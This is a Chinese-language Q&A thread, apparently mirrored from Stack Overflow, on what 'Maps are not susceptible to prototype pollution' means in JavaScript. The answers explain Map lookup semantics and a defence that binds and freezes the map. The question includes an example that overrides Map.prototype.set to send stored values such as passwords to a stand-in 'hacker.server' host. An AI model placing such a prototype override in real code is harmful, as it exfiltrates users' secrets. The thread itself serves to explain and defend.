当人们说“地图”“不易受到原型污染”时,他们的意思是什么?

问题描述 投票:0回答:2

关于 JavaScript 的安全性

Maps
,存在这样的说法:

Map 原语是在 ES6 中引入的。 Map数据结构存储键/值对,不易受到原型污染。 [1]

它本质上是一个 HashMap,但没有

Object
所具有的所有安全警告。当需要键/值结构时,
Map
应优先于
Object
[2]

事实上,您可以使用传统技术替换

Map's
功能,从而影响当前和未来的所有实例:

const myMap = new Map();

// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
  const img = new Image();
  img.src = 'https://hacker.server/?' + JSON.stringify(value);
  return oldSet.call(this, key, value);
};

// Your data is now stolen
myMap.set('password', 'hunter2');

大概,这些作者所说的“不易受到原型污染”的意思仅限于这样一个事实:这种类型的注入攻击不适用于

Map

const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined

...与处理对象的方式相同:

const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true

正确吗?

javascript security prototype
2个回答
4
投票

他们的意思是访问

Map
元素不会搜索原型。如果您询问某个名称是否存在,如果该名称与原型中的某些内容匹配,则不会得到误报,并且应用程序使用的元素名称与语言提供的名称之间不存在冲突。

比较:

let prop = 'constructor';
const myObj = {};
console.log(myObj[prop]);

let prop = 'constructor';
const myMap = new Map();
console.log(myMap.get(prop));

使用对象时,必须使用

hasOwnProperty()
这样的方法来区分对象的属性和从原型继承的属性。这就是为什么循环对象属性的建议是这样的:

for (var key in p) {
    if (p.hasOwnProperty(key)) {
        console.log(key + " -> " + p[key]);
    }
}

(请注意,使用

Object.keys()
也可以缓解这个问题。)

这也意味着您不能创建与从原型继承的属性冲突的自己的属性(除非您故意想要覆盖它们)。

请注意,在 ES6 中,对象自省的新函数作为普通函数添加到

Object
对象中,而不是作为原型方法。这就是为什么我们有
Object.entries()
而不是
Object.prototype.entries()
——他们不想创建新的冲突原型属性。


1
投票

什么是原型污染?原型污染是一个漏洞 使威胁行为者能够利用 JavaScript 运行时。

如果我们在这里讨论安全性,因为

Object
是 Javascript 中几乎所有内容的根源,你不能
freeze
它,否则几乎所有内容都会崩溃。

但是你可以冻结

Map
的原型,它会继续运行。

Object.freeze(myMap.__proto__);

当然,上面的方法可能仍然太粗略,所以如果您只想冻结单个

Map
来存储用户名/密码等敏感信息,您可以将
set
方法复制到您的地图上,然后冻结它。 IOW:让
myMap
更安全。因此,最近更新的不良 NPM 模块最终不会使您的应用程序受到损害。

例如。运行下面的代码,注意

stolen
没有记录
myMap
,而是记录从未获得安全保护的
Map

const myMap = new Map();
myMap.set = Map.prototype.set.bind(myMap);
Object.freeze(myMap); 
//Object.freeze above might not make any
//difference here, but it's still a good
//idea to freeze, in case you pass 
//the Map to a 3rd party lib.

// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
  // Your data is now stolen
  console.log(`stolen ${key}:${value}`);
  return oldSet.call(this, key, value);
};

console.log('using secure myMap');
myMap.set('password', 'hunter2');

const notSecure = new Map();
console.log('using insecure Map');
notSecure.set('password', 'hunter2');

© www.soinside.com 2019 - 2024. All rights reserved.